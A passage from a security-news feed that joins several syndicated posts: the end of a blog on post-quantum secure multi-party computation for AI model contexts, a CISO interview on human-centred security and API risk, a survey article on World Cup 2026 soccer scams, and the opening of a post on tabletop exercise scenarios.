IT-MAC check will fail and the whole thing shuts down before a wrong result gets out.</li> </ul><p>Ai doesn't just do simple addition. It uses "non-linear" functions like <strong>ReLU</strong> (which basically says "if it's negative, make it zero") or <strong>Sigmoid</strong>. These are a nightmare for mpc because they don't follow the normal rules of arithmetic.</p><p>This is where things get clever. Most modern systems use <strong>Mixed-mode mpc</strong>. We keep the heavy lifting like matrix multiplications in the "Arithmetic world" because it's fast. Then, when we hit a ReLU function, we "switch" the data into the "Boolean world" (bits and gates) to handle the logic, then flip it back. </p><blockquote> <p>According to the <a href="https://eprint.iacr.org/2022/1407">IACR Cryptology ePrint Archive (Report 2022/1407)</a>, using threshold linear secret sharing instead of just additive sharing can make this emulation cost independent of the number of nodes for the verifier, which is a massive win for mobile or edge devices.</p> </blockquote><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-4.svg" alt="Diagram 4"></p><p>I’ve seen plenty of dev teams try to force a secret-sharing setup into a high-latency cloud environment just because the math looked "simpler." It always ends in tears. If your nodes are far apart, the "chatty" nature of GMW means your ai inference will take minutes instead of milliseconds.</p><p>In those cases, you really need <strong>Function Secret Sharing (fss)</strong>. It lets you pre-process the hard parts. You do all the heavy lifting before the actual data arrives, creating "succinct keys" that handle those annoying ReLU operations almost instantly when the real inference starts.</p><ul> <li><strong>Finance Use Case:</strong> Banks using mpc to detect money laundering across different jurisdictions often favor gc because their servers are spread across the globe.</li> <li><strong>Healthcare Use Case:</strong> Research hospitals on a high-speed local fiber network usually go with secret sharing because it’s computationally cheaper and they have the bandwidth to handle the constant "talking" between nodes.</li> </ul><p>Anyway, getting the nodes to do the math is only great if you can trust they aren't cheating. That brings us to the next big hurdle: making sure the inputs themselves are valid without actually seeing them.</p><h2>Security Challenges and the Road Ahead</h2><p>So, we’ve got the math down and the protocols look solid on paper, but here is where things get a bit messy. Moving from "cool research paper" to "actually running in a data center" is where you start hitting the wall of reality—mostly because quantum-resistant math is a resource hog.</p><p>Honestly, the biggest hurdle is just how much heavy lifting this requires from your hardware. Traditional mpc is already slow, but when you swap in lattice-based primitives like <strong>LWE</strong>, you're basically paying a "quantum tax" in CPU cycles. </p><ul> <li><strong>Computational Weight:</strong> Lattice math involves huge matrices and polynomial multiplications. I’ve seen setups where the latency jumps by 10x just by switching to post-quantum shares, which is a nightmare for real-time ai inference in things like high-frequency trading.</li> <li><strong>The Bandwidth Bottleneck:</strong> It’s not just the chips; it’s the wires. Pq-compliant shares are way bigger than classical ones. If you're running a distributed mcp cluster across different regions to keep pii localized, the communication overhead can literally choke your network.</li> <li><strong>Hardware to the Rescue:</strong> This is why everyone is suddenly obsessed with <strong>GPU acceleration</strong> and <strong>FPGA</strong> offloading. We’re moving toward a world where you don't just run this on a standard cpu—you need specialized silicon to handle the polynomial math if you want your mcp session to finish before lunch.</li> </ul><p>Then there’s the bureaucratic headache. Even if you build the most secure system in the world, how do you prove it to an auditor who only knows how to check for <strong>SOC2</strong> or <strong>GDPR</strong>? </p><ul> <li><strong>The NIST Waiting Game:</strong> Everyone is watching the <a href="https://csrc.nist.gov/projects/pqc-dig-sig">NIST Post-Quantum Cryptography project</a> to see which signatures and encryption schemes actually become the "official" law of the land. We're currently in a weird "in-between" phase where we're implementing stuff that might be replaced in two years.</li> <li><strong>The "Invisible Data" Paradox:</strong> Under rules like GDPR, you have to know where data lives. But in mpc, the data technically doesn't exist in any one place—it’s just noisy shares. Proving compliance when the "data" is a mathematical ghost is a conversation that usually makes legal teams' heads spin.</li> <li><strong>Standardizing the Protocol:</strong> It’s not just about the encryption; it’s the mcp itself. Organizations like <strong>ISO</strong> are finally working on formalizing how secret sharing should work across different vendors, which is huge for interoperability.</li> </ul><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-5.svg" alt="Diagram 5"></p><p>Anyway, it's a bit of a grind right now. We're essentially building the airplane while it's already in the air. But as these standards settle and hardware catches up, this "quantum-proof" layer will just become part of the background noise of ai infrastructure. </p><p>Next up, we’ll wrap things up by summarizing the key takeaways and looking at how these pieces finally snap together.</p><h2>Conclusion</h2><p>So, we’ve basically toured the guts of the quantum-resistant future, and honestly, it’s a lot to take in. Moving from theoretical math to a stack that won't crumble when a quantum processor finally wakes up is a massive shift for any ai infrastructure.</p><p>It isn't just about swapping one library for another; it's a fundamental change in how we handle <strong>model context protocol</strong> security. We’re moving toward a world where data doesn't just sit behind a wall, but exists as a distributed, mathematical puzzle.</p><ul> <li><strong>Future-Proofing is real:</strong> As mentioned earlier, "harvest now, decrypt later" is a genuine threat. If your ai is handling pii in healthcare or high-stakes finance data, standard rsa just isn't the long-term play anymore.</li> <li><strong>Efficiency vs. Paranoia:</strong> We’ve seen that lattice-based mpc and things like <strong>LWE</strong> primitives (like those used in ML-KEM) come with a "performance tax." You’ve got to balance the need for speed against the reality that classical crypto has an expiration date.</li> <li><strong>Crypto-Agility:</strong> Things move fast. The NIST Post-Quantum Cryptography project is still the North Star here. You need to build your ai pipelines so you can swap out algorithms without rewriting the whole engine.</li> </ul><p>I've talked to teams in retail who are terrified that their customer behavioral models will be leaked five years from now. By using <strong>pq-compliant mpc</strong>, they can compute insights across regional silos without ever actually "owning" the raw data in a single, vulnerable spot.</p><p><img decoding="async" src="https://cdn.pseo.one/685d00d4cb08ab5f5934b924/690c83ae1ca595b8c6f91e0f/pq-compliant-secure-multi-party-computation-model-contexts/mermaid-diagram-6.svg" alt="Diagram 6"></p><p>Anyway, the road ahead is a bit of a grind, but building with these <strong>lattice-based</strong> schemes today saves a massive headache tomorrow. It’s better to be the person who saw the wall coming than the one who walked right into it. Good luck out there.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/pq-compliant-secure-multi-party-computation-for-model-contexts/" data-a2a-title="PQ-Compliant Secure Multi-Party Computation for Model Contexts"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpq-compliant-secure-multi-party-computation-for-model-contexts%2F&amp;linkname=PQ-Compliant%20Secure%20Multi-Party%20Computation%20for%20Model%20Contexts" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpq-compliant-secure-multi-party-computation-for-model-contexts%2F&amp;linkname=PQ-Compliant%20Secure%20Multi-Party%20Computation%20for%20Model%20Contexts" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpq-compliant-secure-multi-party-computation-for-model-contexts%2F&amp;linkname=PQ-Compliant%20Secure%20Multi-Party%20Computation%20for%20Model%20Contexts" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpq-compliant-secure-multi-party-computation-for-model-contexts%2F&amp;linkname=PQ-Compliant%20Secure%20Multi-Party%20Computation%20for%20Model%20Contexts" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpq-compliant-secure-multi-party-computation-for-model-contexts%2F&amp;linkname=PQ-Compliant%20Secure%20Multi-Party%20Computation%20for%20Model%20Contexts" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.gopher.security/blog">Read the Gopher Security&amp;#039;s Quantum Safety Blog</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Read the Gopher Security's Quantum Safety Blog">Read the Gopher Security's Quantum Safety Blog</a>. Read the original post at: <a href="https://www.gopher.security/blog/pq-compliant-secure-multi-party-computation-model-contexts">https://www.gopher.security/blog/pq-compliant-secure-multi-party-computation-model-contexts</a> </p>

<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dgeorgiou/" rel="noreferrer noopener">Dimitris Georgiou</a> has been a self-professed computer geek since the early 80s. At university, he studied the convergence of educational technology with computer science as part of his psychology MA – finding, to his disbelief, that systems were perilously insecure. </p><p class="wp-block-paragraph">Since then, he’s always worked in and around cybersecurity. He’s had roles as a computer science teacher, a technology manager, and a cybersecurity consultant, before finally landing in his current role: Chief Security Officer at <a href="https://www.alphabit.gr/" rel="noreferrer noopener">Alphabit Cybersecurity</a>, member of the <a href="http://www.softweb.gr/" rel="noreferrer noopener">Softweb Adaptive I.T. Solutions</a> Group of Companies. But he’s never forgotten about his humanities background.</p><p class="wp-block-paragraph">In this edition of CISO Spotlight, Dimitris explores the importance of CISOs speaking both technical and business language, his concerns around <a href="https://www.wallarm.com/solutions/s-protect-agentic-ai" rel="noreferrer noopener">AI</a> and <a href="https://www.wallarm.com/" rel="noreferrer noopener">API security</a>, and the CISO’s role in the boardroom. </p><h1 class="wp-block-heading">Emphasizing the Human Factor</h1><p class="wp-block-paragraph">For Dimitris, the human factor is the pinnacle of everything cybersecurity professionals do. “Cybersecurity is not just a tradecraft,” he said, “it’s more than that. It has a human impact. Everything we do is to keep our resources out of the hands of cybercriminals. And digital transformation has resulted in the greatest transfer of resources in history.”</p><p class="wp-block-paragraph">Dimitris argues that security awareness only works when it starts with people’s real lives, not just corporate policy. Teaching employees how to protect their children, savings, or elderly relatives creates a mindset that naturally carries back into the workplace. </p><p class="wp-block-paragraph">“If you start with the business, it doesn’t land,” he explained. “But if people see how cybersecurity protects <em>them</em>, you create that all-important human firewall.”</p><h1 class="wp-block-heading">The Changing Role of the CISO</h1><p class="wp-block-paragraph">Early in his career, Dimitris’s primary challenge was simply convincing organizations to invest in even the most basic cybersecurity. “Back then” he recalls, “you had to convince people to spend twenty or thirty dollars per user – and even to stop using cracked versions of antivirus.”</p><p class="wp-block-paragraph">That experience shaped how he thinks about security leadership today. Rather than trying to scare executives into action, he focuses on aligning cybersecurity with growth and resilience. The CISO, he insists, must operate fluently in both technical and business worlds.</p><p class="wp-block-paragraph">“We must translate security imperatives into business continuity and business flourishing mandates. From there, we must create a dogma within the business establishment – not the security establishment – that cybersecurity can and will be a business enabler if you treat it as such.” </p><p class="wp-block-paragraph">Dimitris’s mindset reflects a broader change across modern security leadership. Time and time again in this series, we’ve seen leaders drive home one simple truth: CISOs can no longer just be enforcers, they must be enablers that bridge technical risk with business outcomes. </p><h1 class="wp-block-heading">Speaking the Language of the Boardroom</h1><p class="wp-block-paragraph">This shift towards business-focused CISOs influences how Dimitris thinks about the boardroom. Over the next few years, he expects CISOs to become routine participants in executive decision-making, sitting alongside CFOs and CEOs to discuss risk ownership, resilience, and operational continuity. </p><p class="wp-block-paragraph">“Cybersecurity is just one risk among many. Boards have to consider financial risk, operational risk, market risk, employee churn, effectiveness – everything,” he said. </p><p class="wp-block-paragraph">CISOs must frame cybersecurity within that narrative, convincing the board to align strategic goals with cybersecurity for resilience, operational effectiveness, and development across the organization.</p><p class="wp-block-paragraph">Achieving this requires a rare combination of skills. Technical expertise still matters – Dimitris stresses that leaders should understand the pain and complexity security teams face – but CISOs don’t necessarily need to be the most technically brilliant person in the room. Soft skills like communication and narrative-building are just as important.</p><p class="wp-block-paragraph">“Organizations don’t exist to be secure,” says Dimitris, “they have a mission. The CISO’s job is to help them achieve that mission safely.” </p><h1 class="wp-block-heading">Preparing for Breaches and Dealing with the Aftermath</h1><p class="wp-block-paragraph">Preparation for incidents, Dimitris argues, starts with awareness. Breaches will happen. Perfection isn’t the goal, readiness is. That means building teams that can respond without panic and leaders understanding what resilience really means. </p><p class="wp-block-paragraph">But Dimitris is quick to emphasize the emotional toll breaches can take. Morale often collapses after an incident, especially when security teams are underfunded or unsupported beforehand. In those moments, governance and executive involvement become essential. “You can’t just throw security at a problem and expect miracles,” he said. </p><p class="wp-block-paragraph">From past incidents, he’s learned that many disasters result from poor budget decisions – purchasing cheap, ineffective controls when the cost of more expensive tools pales in comparison to what an incident can cost in reputation, damages, and morale. </p><h1 class="wp-block-heading">Handling AI Uncertainty</h1><p class="wp-block-paragraph">Although Dimitris recognizes the productivity gains <a href="https://www.wallarm.com/company" rel="noreferrer noopener">AI</a> brings, he worries about the lack of transparency and governance surrounding its use and its impact on organizations’ security posture. “We’re engaging with black boxes doing magical and fantastic things,” he said. “But we don’t understand their inner workings.”</p><p class="wp-block-paragraph">Putting on his “digital forensic investigator hat,” Dimitris argues that it would be very difficult to investigate an incident involving an AI model. One can’t just plug an interface into a model and collect the data necessary for an investigation. And that’s a problem at the moment. </p><p class="wp-block-paragraph">For Dimitris, we need to have a serious conversation about governance. Organizations are too focused on outcomes and overlook factors like digital sovereignty. He’s not at all anti-innovation, but he calls for a “marriage of innovation and governance.”</p><h1 class="wp-block-heading">Why API Security Deserves Attention</h1><p class="wp-block-paragraph">If AI is the big conversation, API security is the immediate battlefield. Dimitris believes that APIs will dominate security agendas going forward. But it’s going to be a challenge.</p><p class="wp-block-paragraph">“Everybody is creating sockets for everybody to connect,” he said, pointing to the explosion of integrations and automated workflows across modern software ecosystems.</p><p class="wp-block-paragraph">APIs, he argues, are fundamentally different from traditional web applications. Treating them the same – assuming a <a href="https://www.wallarm.com/what/waf-meaning" rel="noreferrer noopener">web application firewall (WAF)</a> alone is sufficient, for example – is a dangerous misconception. APIs often operate with high-privilege machine accounts, meaning a single weakness can grant attackers deep access to systems. </p><p class="wp-block-paragraph">His advice starts with fundamental: <a href="https://www.wallarm.com/what/what-is-threat-modeling" rel="noreferrer noopener">threat modeling</a>, <a href="https://www.wallarm.com/what/secure-coding" rel="noreferrer noopener">secure coding</a>, segmentation of privileged system accounts, continuous monitoring, and relentless assessment. In his words, we can’t simply bolt API security on; we must build it into the API itself from the beginning. </p><h1 class="wp-block-heading">A Human-Centred Future</h1><p class="wp-block-paragraph">Despite tackling complex technical issues, Dimitris always returns to one idea: cybersecurity is about people. Whether discussing AI, governance, or executive strategy, his focus remains on the human impact. </p><p class="wp-block-paragraph">Outside work, he’s sharpening his management skills through <em>Harvard Business Review</em> lessons, listening to lounge music to unwind, and following financial and cybersecurity podcasts to stay informed.</p><p class="wp-block-paragraph">If he had the time, he’d head to Japan – he’s drawn to the balance between deep cultural roots and relentless technological innovation. That same curiosity defines his approach to security leadership. </p><p class="wp-block-paragraph">And to reiterate: for Dimitris, the modern CISO is more than a technical guardian. The role is about translating risk into business language, aligning people and technology, and helping organizations move forward with confidence. </p><p>The post <a href="https://lab.wallarm.com/ciso-spotlight-dimitris-georgiou-security-serves-people-first/">CISO Spotlight: Dimitris Georgiou on Building Security that Serves People First</a> appeared first on <a href="https://lab.wallarm.com/">Wallarm</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/ciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first/" data-a2a-title="CISO Spotlight: Dimitris Georgiou on Building Security that Serves People First"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first%2F&amp;linkname=CISO%20Spotlight%3A%20Dimitris%20Georgiou%20on%20Building%20Security%20that%20Serves%20People%20First" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first%2F&amp;linkname=CISO%20Spotlight%3A%20Dimitris%20Georgiou%20on%20Building%20Security%20that%20Serves%20People%20First" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first%2F&amp;linkname=CISO%20Spotlight%3A%20Dimitris%20Georgiou%20on%20Building%20Security%20that%20Serves%20People%20First" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first%2F&amp;linkname=CISO%20Spotlight%3A%20Dimitris%20Georgiou%20on%20Building%20Security%20that%20Serves%20People%20First" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fciso-spotlight-dimitris-georgiou-on-building-security-that-serves-people-first%2F&amp;linkname=CISO%20Spotlight%3A%20Dimitris%20Georgiou%20on%20Building%20Security%20that%20Serves%20People%20First" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://lab.wallarm.com/">Wallarm</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tim Erlin">Tim Erlin</a>. Read the original post at: <a href="https://lab.wallarm.com/ciso-spotlight-dimitris-georgiou-security-serves-people-first/">https://lab.wallarm.com/ciso-spotlight-dimitris-georgiou-security-serves-people-first/</a> </p>

<p><span data-contrast="none">Soccer might not be quite as popular as American football in the U.S. yet, but it’s getting there. And scammers are seizing the opportunity through betting scams, social media and messaging apps, new research shows as the FIFA World Cup 2026 approaches.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">With 28% of Americans set to follow matches across North America co-hosted by the U.S., Canada and Mexico and the FIFA Resale/Exchange Marketplace reopening on April 2, a </span><a href="https://u7061146.ct.sendgrid.net/ls/click?upn=u001.gqh-2BaxUzlo7XKIuSly0rC6o3emgnrnWOhlkXZfzpAMlzCSitwxFVsvR2Y8afAhgjrycLzIfjlwYBfL2y24QNnVEV3-2FI73ZjpqFxOTOCicjjpw8UECK9QdVlimkEz0nZg8PMm_Asn5OYEEbSQx8ZeDZ6IA8SQq53LipQqpjwozi2ic3u7hW6afejByimDLWHoKg1ZZRwfBDy1cpNabL-2FfKDgBbKWk8pl03vY3R0tO61nHgIEr8hiLpg5X5ZDS-2B6kfXSeisvTlWa7N-2B-2BeUVwtEYyq5Cpr2qwxo5y3-2BNVq-2BHthCAS-2FFZ3aUGbIBafkQQ-2BUlqc1tB8mCbumoeoSu9f-2FEn-2BtbzEf6-2FoFTLgFpXJ-2BehZxxNAbfqkHknUrOfVp-2FCok-2B2sKqXQH-2Bob9nSyFjNbAMOg4JsYBcRYa4wBVs5cDueeS6ydIgr7Y1Igx-2B40hUSDmGlEzDoeX21g5ZOr1KnZ6xQj5YKj558Jlu-2Ff6WKLZCbntrXqLA-3D" target="_blank" rel="noopener"><span data-contrast="none">survey</span></a><span data-contrast="none"> from NordVPN shows that </span><span data-contrast="none">11% of American internet users ran into a soccer-related scam in 2024 and 2025.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">“Soccer scams work because they are built around emotion and urgency,” Adrianus Warmenhoven, a cybersecurity expert at the company, said on the release of the data. “When people are excited about a match, looking for tickets, chasing betting tips, or trying to find a stream at the last minute, they are much more likely to act first and verify later. That is exactly what scammers count on.”</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Some of the most popular scams include betting scams, which were experienced by 46% of those who had encountered scams, and fake match ticket sales, cited by 44%. But scammers didn’t stop there, they also hit activities centered around the sport—37% cited fake car rental offers and nearly as many (34%) experienced fraudulent fan club memberships and exclusive access offers.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">The scams come across familiar platforms where fans interact and follow teams like Facebook (46%), TikTok (42%), Instagram (37%) and Telegram (32%). And they are successful because they tend to catch people when they are stressed (55%) or frustrated (53%). But for nearly three in ten (29%), the scams successfully convinced them to part with their money because they were excited. The timing of many scams also increases success rates—in the evening, during time off and when victims let their guard down.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">“Soccer-related scams on social media platforms are rapidly increasing, driven by the combination of a massive global fan base, time-sensitive live events, and the scale of social media platforms,” says Louis Eichenbaum, federal CTO at ColorTokens. </span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Attackers, Eichenbaum says, “exploit urgency and trust to push users into quick decisions, using tactics such as fake livestream links, fraudulent ticket sales, and impersonation of legitimate teams or groups.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">The money lost in the scams doesn’t seem impressive—between $101-$150 per incident—but at scale, that adds up to a significant payday for scammers. And they keep going back to prime targets—62% of victims were hit two or three times and nearly three out of 10 (28%) have been targeted at least four times.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">The survey suggests that soccer scams often succeed not because fans are unfamiliar with online risks, but because they catch people at the wrong moment. Among those who lost money to a scam, the most common emotional states were stress (55%), frustration (53%), and excitement (29%). Victims were also most likely to be targeted during weekday evenings, typically during their time off, when their guard is down, and they are more likely to react impulsively.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">For some, that moment of distraction leads to real financial loss. Overall, 4% of Americans said they lost money to soccer-related scams. Among victims, losses most commonly ranged from $101 to $150. Most victims (62%) said they were targeted two or three times, while 28% were targeted four or more times, suggesting scammers often circle back to the same people once they’ve had a successful first hit.</span><span data-ccp-props='{"201341983":0,"335551550":6,"335551620":6,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">The scams “frequently leverage compromised or newly created accounts, enabling attackers to appear credible while spreading malicious links or payment requests,” notes Eichenbaum. And the underlying pattern “mirrors enterprise cyber threats: Initial access through phishing or deception, followed by lateral spread through trusted networks, and rapid monetization,” he says, with risk “heightened by the use of irreversible payment methods and credential harvesting via fake login pages.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Darren Guccione, CEO and cofounder at Keeper Security, cautions fans to beware of “</span><span data-contrast="none">unsolicited messages or offers, double-check the authenticity of any websites or apps you may be using to watch, follow or bet on the games, and never provide personal information or payment without verifying the legitimacy of the transaction.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">He says that the scams and phishing attempts will come fast and furiously during the tournament, so fans should make it a habit not to click on links or open attachments from unknown sources. “Scammers may also use social media to learn more about you or request money,” says Guccione. “They may impersonate a friend or family member claiming to be in urgent need of money to buy tickets or place bets on World Cup games, or even impersonate the athletes themselves.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">To mitigate the risk, Eichenbaum says, “requires a combination of user awareness and basic security hygiene, including using only official streaming and ticketing platforms, avoiding peer-to-peer payment requests from unverified sources, enabling phishing-resistant MFA, verifying account and page legitimacy before engaging, and cryptographic password-less authentication.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/fifa-world-cup-2026-a-match-between-fans-and-scammers/" data-a2a-title="FIFA World Cup 2026: A Match Between Fans and Scammers  "><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffifa-world-cup-2026-a-match-between-fans-and-scammers%2F&amp;linkname=FIFA%20World%20Cup%202026%3A%20A%20Match%20Between%20Fans%20and%20Scammers%C2%A0%C2%A0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffifa-world-cup-2026-a-match-between-fans-and-scammers%2F&amp;linkname=FIFA%20World%20Cup%202026%3A%20A%20Match%20Between%20Fans%20and%20Scammers%C2%A0%C2%A0" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffifa-world-cup-2026-a-match-between-fans-and-scammers%2F&amp;linkname=FIFA%20World%20Cup%202026%3A%20A%20Match%20Between%20Fans%20and%20Scammers%C2%A0%C2%A0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffifa-world-cup-2026-a-match-between-fans-and-scammers%2F&amp;linkname=FIFA%20World%20Cup%202026%3A%20A%20Match%20Between%20Fans%20and%20Scammers%C2%A0%C2%A0" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Ffifa-world-cup-2026-a-match-between-fans-and-scammers%2F&amp;linkname=FIFA%20World%20Cup%202026%3A%20A%20Match%20Between%20Fans%20and%20Scammers%C2%A0%C2%A0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<h2>Overview</h2><p>As cybersecurity threats continue to evolve and become more sophisticated, the need for comprehensive preparedness has never been more critical. Tabletop exercises are essential for testing and refining incident response plans, enhancing coordination between departments, and staying ahead of malicious actors. In this article, we outline seven tabletop exercise scenarios that cybersecurity teams should consider practicing in 2026. These scenarios aim to equip teams with practical, actionable methodologies for identifying vulnerabilities, strengthening defenses, and improving response strategies. We integrate the keyword “cybersecurity” organically throughout this article to highlight the focus and relevance of these exercises within the broader discussion on digital protection.</p><h2>Introduction</h2><p>The world of cybersecurity is experiencing a shift as adversaries continue to refine their techniques. In 2025, cybersecurity teams will confront a host of new challenges that demand proactive and adaptive responses. Tabletop exercises offer an excellent opportunity to simulate incidents in a controlled environment, allowing teams to evaluate and improve their incident response plans. These simulated scenarios range from internal threats to external attacks, all designed to test decision-making processes, communication protocols, and the overall resilience of your organization’s cybersecurity strategy.</p><p>This guide is intended for experienced cybersecurity professionals and teams ready to step up their exercises and safeguard not only their digital assets but also their organizational integrity. Each scenario presented in this article comes with practical steps, key objectives, and actionable insights to ensure that your team is well-prepared to tackle real-world threats.</p><p>The post <a rel="nofollow" href="https://www.trustcloud.ai/risk-management/7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026/">7 tabletop exercise scenarios every cybersecurity team should practice in 2026</a> first appeared on <a rel="nofollow" href="https://www.trustcloud.ai/">TrustCloud</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026/" data-a2a-title="7 tabletop exercise scenarios every cybersecurity team should practice in 2026"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026%2F&amp;linkname=7%20tabletop%20exercise%20scenarios%20every%20cybersecurity%20team%20should%20practice%20in%202026" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026%2F&amp;linkname=7%20tabletop%20exercise%20scenarios%20every%20cybersecurity%20team%20should%20practice%20in%202026" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F7-tabletop-exercise-scenarios-every-cybersecurity-team-should-practice-in-2026%2F&amp;linkname=7%20tabletop%20exercise%20scenarios%20every%20cybersecurity%20team%20should%20practice%20in%202026" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" 